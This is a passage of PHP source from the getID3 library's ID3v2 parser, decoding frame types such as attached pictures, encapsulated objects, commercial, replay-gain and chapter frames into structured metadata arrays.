1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); if ($id3v2_majorversion == 2) { $parsedFrame['imagetype'] = isset($frame_imagetype) ? $frame_imagetype : null; } else { $parsedFrame['mime'] = isset($frame_mimetype) ? $frame_mimetype : null; } $parsedFrame['picturetypeid'] = $frame_picturetype; $parsedFrame['picturetype'] = $this->APICPictureTypeLookup($frame_picturetype); $parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); $parsedFrame['datalength'] = strlen($parsedFrame['data']); $parsedFrame['image_mime'] = ''; $imageinfo = array(); if ($imagechunkcheck = getid3_lib::GetDataImageSize($parsedFrame['data'], $imageinfo)) { if (($imagechunkcheck[2] >= 1) && ($imagechunkcheck[2] <= 3)) { $parsedFrame['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]); if ($imagechunkcheck[0]) { $parsedFrame['image_width'] = $imagechunkcheck[0]; } if ($imagechunkcheck[1]) { $parsedFrame['image_height'] = $imagechunkcheck[1]; } } } do { if ($this->getid3->option_save_attachments === false) { // skip entirely unset($parsedFrame['data']); break; } $dir = ''; if ($this->getid3->option_save_attachments === true) { // great /* } elseif (is_int($this->getid3->option_save_attachments)) { if ($this->getid3->option_save_attachments < $parsedFrame['data_length']) { // too big, skip $this->warning('attachment at '.$frame_offset.' is too large to process inline ('.number_format($parsedFrame['data_length']).' bytes)'); unset($parsedFrame['data']); break; } */ } elseif (is_string($this->getid3->option_save_attachments)) { $dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR); if (!is_dir($dir) || !getID3::is_writable($dir)) { // cannot write, skip $this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$dir.'" (not writable)'); unset($parsedFrame['data']); break; } } // if we get this far, must be OK if (is_string($this->getid3->option_save_attachments)) { $destination_filename = $dir.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$frame_offset; if (!file_exists($destination_filename) || getID3::is_writable($destination_filename)) { file_put_contents($destination_filename, $parsedFrame['data']); } else { $this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$destination_filename.'" (not writable)'); } $parsedFrame['data_filename'] = $destination_filename; unset($parsedFrame['data']); } else { if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { if (!isset($info['id3v2']['comments']['picture'])) { $info['id3v2']['comments']['picture'] = array(); } $comments_picture_data = array(); foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) { if (isset($parsedFrame[$picture_key])) { $comments_picture_data[$picture_key] = $parsedFrame[$picture_key]; } } $info['id3v2']['comments']['picture'][] = $comments_picture_data; unset($comments_picture_data); } } } while (false); } } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GEOB')) || // 4.15 GEOB General encapsulated object (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'GEO'))) { // 4.16 GEO General encapsulated object // There may be more than one 'GEOB' frame in each tag, // but only one with the same content descriptor //
// Text encoding $xx // MIME type $00 // Filename $00 (00) // Content description $00 (00) // Encapsulated object $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_mimetype) === 0) { $frame_mimetype = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $frame_filename = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_filename) === 0) { $frame_filename = ''; } $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); $parsedFrame['objectdata'] = (string) substr($parsedFrame['data'], $frame_offset); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['mime'] = $frame_mimetype; $parsedFrame['filename'] = $frame_filename; unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PCNT')) || // 4.16 PCNT Play counter (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CNT'))) { // 4.17 CNT Play counter // There may only be one 'PCNT' frame in each tag. // When the counter reaches all one's, one byte is inserted in // front of the counter thus making the counter eight bits bigger //
// Counter $xx xx xx xx (xx ...) $parsedFrame['data'] = getid3_lib::BigEndian2Int($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POPM')) || // 4.17 POPM Popularimeter (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'POP'))) { // 4.18 POP Popularimeter // There may be more than one 'POPM' frame in each tag, // but only one with the same email address //
// Email to user $00 // Rating $xx // Counter $xx xx xx xx (xx ...) $frame_offset = 0; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_emailaddress = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_emailaddress) === 0) { $frame_emailaddress = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $frame_rating = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['counter'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset)); $parsedFrame['email'] = $frame_emailaddress; $parsedFrame['rating'] = $frame_rating; unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RBUF')) || // 4.18 RBUF Recommended buffer size (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'BUF'))) { // 4.19 BUF Recommended buffer size // There may only be one 'RBUF' frame in each tag //
// Buffer size $xx xx xx // Embedded info flag %0000000x // Offset to next tag $xx xx xx xx $frame_offset = 0; $parsedFrame['buffersize'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 3)); $frame_offset += 3; $frame_embeddedinfoflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['flags']['embededinfo'] = (bool) substr($frame_embeddedinfoflags, 7, 1); $parsedFrame['nexttagoffset'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); unset($parsedFrame['data']); } elseif (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRM')) { // 4.20 Encrypted meta frame (ID3v2.2 only) // There may be more than one 'CRM' frame in a tag, // but only one with the same 'owner identifier' //
// Owner identifier $00 (00) // Content/explanation $00 (00) // Encrypted datablock $frame_offset = 0; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $frame_offset = $frame_terminatorpos + strlen("\x00"); $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['ownerid'] = $frame_ownerid; $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'AENC')) || // 4.19 AENC Audio encryption (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRA'))) { // 4.21 CRA Audio encryption // There may be more than one 'AENC' frames in a tag, // but only one with the same 'Owner identifier' //
// Owner identifier $00 // Preview start $xx xx // Preview length $xx xx // Encryption info $frame_offset = 0; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_ownerid) === 0) { $frame_ownerid = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['ownerid'] = $frame_ownerid; $parsedFrame['previewstart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; $parsedFrame['previewlength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; $parsedFrame['encryptioninfo'] = (string) substr($parsedFrame['data'], $frame_offset); unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'LINK')) || // 4.20 LINK Linked information (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'LNK'))) { // 4.22 LNK Linked information // There may be more than one 'LINK' frame in a tag, // but only one with the same contents //
// ID3v2.3+ => Frame identifier $xx xx xx xx // ID3v2.2 => Frame identifier $xx xx xx // URL $00 // ID and additional data $frame_offset = 0; if ($id3v2_majorversion == 2) { $parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 3); $frame_offset += 3; } else { $parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 4); $frame_offset += 4; } $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_url = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_url) === 0) { $frame_url = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['url'] = $frame_url; $parsedFrame['additionaldata'] = (string) substr($parsedFrame['data'], $frame_offset); if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback_iso88591_utf8($parsedFrame['url']); } unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POSS')) { // 4.21 POSS Position synchronisation frame (ID3v2.3+ only) // There may only be one 'POSS' frame in each tag // // Time stamp format $xx // Position $xx (xx ...) $frame_offset = 0; $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['position'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset)); unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USER')) { // 4.22 USER Terms of use (ID3v2.3+ only) // There may be more than one 'Terms of use' frame in a tag, // but only one with the same 'Language' //
// Text encoding $xx // Language $xx xx xx // The actual text $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); } $frame_language = substr($parsedFrame['data'], $frame_offset, 3); $frame_offset += 3; $parsedFrame['language'] = $frame_language; $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding)); if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); } unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'OWNE')) { // 4.23 OWNE Ownership frame (ID3v2.3+ only) // There may only be one 'OWNE' frame in a tag //
// Text encoding $xx // Price paid $00 // Date of purch. // Seller $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); } $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_pricepaid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['pricepaid']['currencyid'] = substr($frame_pricepaid, 0, 3); $parsedFrame['pricepaid']['currency'] = $this->LookupCurrencyUnits($parsedFrame['pricepaid']['currencyid']); $parsedFrame['pricepaid']['value'] = substr($frame_pricepaid, 3); $parsedFrame['purchasedate'] = substr($parsedFrame['data'], $frame_offset, 8); if ($this->IsValidDateStampString($parsedFrame['purchasedate'])) { $parsedFrame['purchasedateunix'] = mktime (0, 0, 0, substr($parsedFrame['purchasedate'], 4, 2), substr($parsedFrame['purchasedate'], 6, 2), substr($parsedFrame['purchasedate'], 0, 4)); } $frame_offset += 8; $parsedFrame['seller'] = (string) substr($parsedFrame['data'], $frame_offset); $parsedFrame['seller'] = $this->RemoveStringTerminator($parsedFrame['seller'], $this->TextEncodingTerminatorLookup($frame_textencoding)); unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMR')) { // 4.24 COMR Commercial frame (ID3v2.3+ only) // There may be more than one 'commercial frame' in a tag, // but no two may be identical //
// Text encoding $xx // Price string $00 // Valid until // Contact URL $00 // Received as $xx // Name of seller $00 (00) // Description $00 (00) // Picture MIME type $00 // Seller logo $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_pricestring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $frame_offset = $frame_terminatorpos + strlen("\x00"); $frame_rawpricearray = explode('/', $frame_pricestring); foreach ($frame_rawpricearray as $key => $val) { $frame_currencyid = substr($val, 0, 3); $parsedFrame['price'][$frame_currencyid]['currency'] = $this->LookupCurrencyUnits($frame_currencyid); $parsedFrame['price'][$frame_currencyid]['value'] = substr($val, 3); } $frame_datestring = substr($parsedFrame['data'], $frame_offset, 8); $frame_offset += 8; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_contacturl = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $frame_offset = $frame_terminatorpos + strlen("\x00"); $frame_receivedasid = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $frame_sellername = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_sellername) === 0) { $frame_sellername = ''; } $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $frame_offset = $frame_terminatorpos + strlen("\x00"); $frame_sellerlogo = substr($parsedFrame['data'], $frame_offset); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['pricevaliduntil'] = $frame_datestring; $parsedFrame['contacturl'] = $frame_contacturl; $parsedFrame['receivedasid'] = $frame_receivedasid; $parsedFrame['receivedas'] = $this->COMRReceivedAsLookup($frame_receivedasid); $parsedFrame['sellername'] = $frame_sellername; $parsedFrame['mime'] = $frame_mimetype; $parsedFrame['logo'] = $frame_sellerlogo; unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ENCR')) { // 4.25 ENCR Encryption method registration (ID3v2.3+ only) // There may be several 'ENCR' frames in a tag, // but only one containing the same symbol // and only one containing the same owner identifier //
// Owner identifier $00 // Method symbol $xx // Encryption data $frame_offset = 0; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_ownerid) === 0) { $frame_ownerid = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['ownerid'] = $frame_ownerid; $parsedFrame['methodsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GRID')) { // 4.26 GRID Group identification registration (ID3v2.3+ only) // There may be several 'GRID' frames in a tag, // but only one containing the same symbol // and only one containing the same owner identifier //
// Owner identifier $00 // Group symbol $xx // Group dependent data $frame_offset = 0; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_ownerid) === 0) { $frame_ownerid = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['ownerid'] = $frame_ownerid; $parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PRIV')) { // 4.27 PRIV Private frame (ID3v2.3+ only) // The tag may contain more than one 'PRIV' frame // but only with different contents //
// Owner identifier $00 // The private data $frame_offset = 0; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_ownerid) === 0) { $frame_ownerid = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['ownerid'] = $frame_ownerid; $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SIGN')) { // 4.28 SIGN Signature frame (ID3v2.4+ only) // There may be more than one 'signature frame' in a tag, // but no two may be identical //
// Group symbol $xx // Signature $frame_offset = 0; $parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SEEK')) { // 4.29 SEEK Seek frame (ID3v2.4+ only) // There may only be one 'seek frame' in a tag //
// Minimum offset to next tag $xx xx xx xx $frame_offset = 0; $parsedFrame['data'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'ASPI')) { // 4.30 ASPI Audio seek point index (ID3v2.4+ only) // There may only be one 'audio seek point index' frame in a tag //
// Indexed data start (S) $xx xx xx xx // Indexed data length (L) $xx xx xx xx // Number of index points (N) $xx xx // Bits per index point (b) $xx // Then for every index point the following data is included: // Fraction at index (Fi) $xx (xx) $frame_offset = 0; $parsedFrame['datastart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; $parsedFrame['indexeddatalength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; $parsedFrame['indexpoints'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; $parsedFrame['bitsperpoint'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_bytesperpoint = ceil($parsedFrame['bitsperpoint'] / 8); for ($i = 0; $i < $parsedFrame['indexpoints']; $i++) { $parsedFrame['indexes'][$i] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesperpoint)); $frame_offset += $frame_bytesperpoint; } unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RGAD')) { // Replay Gain Adjustment // http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html // There may only be one 'RGAD' frame in a tag //
// Peak Amplitude $xx $xx $xx $xx // Radio Replay Gain Adjustment %aaabbbcd %dddddddd // Audiophile Replay Gain Adjustment %aaabbbcd %dddddddd // a - name code // b - originator code // c - sign bit // d - replay gain adjustment $frame_offset = 0; $parsedFrame['peakamplitude'] = getid3_lib::BigEndian2Float(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; $rg_track_adjustment = getid3_lib::Dec2Bin(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; $rg_album_adjustment = getid3_lib::Dec2Bin(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; $parsedFrame['raw']['track']['name'] = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 0, 3)); $parsedFrame['raw']['track']['originator'] = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 3, 3)); $parsedFrame['raw']['track']['signbit'] = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 6, 1)); $parsedFrame['raw']['track']['adjustment'] = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 7, 9)); $parsedFrame['raw']['album']['name'] = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 0, 3)); $parsedFrame['raw']['album']['originator'] = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 3, 3)); $parsedFrame['raw']['album']['signbit'] = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 6, 1)); $parsedFrame['raw']['album']['adjustment'] = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 7, 9)); $parsedFrame['track']['name'] = getid3_lib::RGADnameLookup($parsedFrame['raw']['track']['name']); $parsedFrame['track']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['track']['originator']); $parsedFrame['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['track']['adjustment'], $parsedFrame['raw']['track']['signbit']); $parsedFrame['album']['name'] = getid3_lib::RGADnameLookup($parsedFrame['raw']['album']['name']); $parsedFrame['album']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['album']['originator']); $parsedFrame['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['album']['adjustment'], $parsedFrame['raw']['album']['signbit']); $info['replay_gain']['track']['peak'] = $parsedFrame['peakamplitude']; $info['replay_gain']['track']['originator'] = $parsedFrame['track']['originator']; $info['replay_gain']['track']['adjustment'] = $parsedFrame['track']['adjustment']; $info['replay_gain']['album']['originator'] = $parsedFrame['album']['originator']; $info['replay_gain']['album']['adjustment'] = $parsedFrame['album']['adjustment']; unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CHAP')) { // CHAP Chapters frame (ID3v2.3+ only) // http://id3.org/id3v2-chapters-1.0 // (10 bytes) // Element ID $00 // Start time $xx xx xx xx // End time $xx xx xx xx // Start offset $xx xx xx xx // End offset $xx xx xx xx // $frame_offset = 0; @list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2); $frame_offset += strlen($parsedFrame['element_id']."\x00"); $parsedFrame['time_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; $parsedFrame['time_end'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") { // "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized." $parsedFrame['offset_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); } $frame_offset += 4; if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") { // "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized." $parsedFrame['offset_end'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); } $frame_offset += 4; if ($frame_offset < strlen($parsedFrame['data'])) { $parsedFrame['subframes'] = array(); while ($frame_offset < strlen($parsedFrame['data'])) { // $subframe = array(); $subframe['name'] = substr($parsedFrame['data'], $frame_offset, 4); $frame_offset += 4; $subframe['size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; $subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) { $this->warning('CHAP subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)'); break; } $subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']); $frame_offset += $subframe['size']; $subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1)); $subframe['text'] = substr($subframe_rawdata, 1); $subframe['encoding'] = $this->TextEncodingNameLookup($subframe['encodingid']); $encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text'])); switch (substr($encoding_converted_text, 0, 2)) { case "\xFF\xFE": case "\xFE\xFF": switch (strtoupper($info['id3v2']['encoding'])) { case 'ISO-8859-1': case 'UTF-8': $encoding_converted_text = substr($encoding_converted_text, 2); // remove unwanted byte-order-marks break; default: // ignore break; } break; default: // do not remove BOM break; } switch ($subframe['name']) { case 'TIT2': $parsedFrame['chapter_name'] = $encoding_converted_text; $parsedFrame['subframes'][] = $subframe; break; case 'TIT3': $parsedFrame['chapter_description'] = $encoding_converted_text; $parsedFrame['subframes'][] = $subframe; break; case 'WXXX': list($subframe['chapter_url_description'], $subframe['chapter_url']) = explode("\x00", $encoding_converted_text, 2); $parsedFrame['chapter_url'][$subframe['chapter_url_description']] = $subframe['chapter_url']; $parsedFrame['subframes'][] = $subframe; break; case 'APIC': if (preg_match('#^([^\\x00]+)*\\x00(.)([^\\x00]+)*\\x00(.+)$#s', $subframe['text'], $matches)) { list($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata) = $matches; $subframe['image_mime'] = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_mime)); $subframe['picture_type'] = $this->APICPictureTypeLookup($subframe_apic_picturetype); $subframe['description'] = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_description)); if (strlen($this->TextEncodingTerminatorLookup($subframe['encoding'])) == 2) { // the null terminator between "description" and "picture data" could be either 1 byte (ISO-8859-1, UTF-8) or two bytes (UTF-16) // the above regex assumes one byte, if it's actually two then strip the second one here $subframe_apic_picturedata = substr($subframe_apic_picturedata, 1); } $subframe['data'] = $subframe_apic_picturedata; unset($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata); unset($subframe['text'], $parsedFrame['text']); $parsedFrame['subframes'][] = $subframe; $parsedFrame['picture_present'] = true; } else { 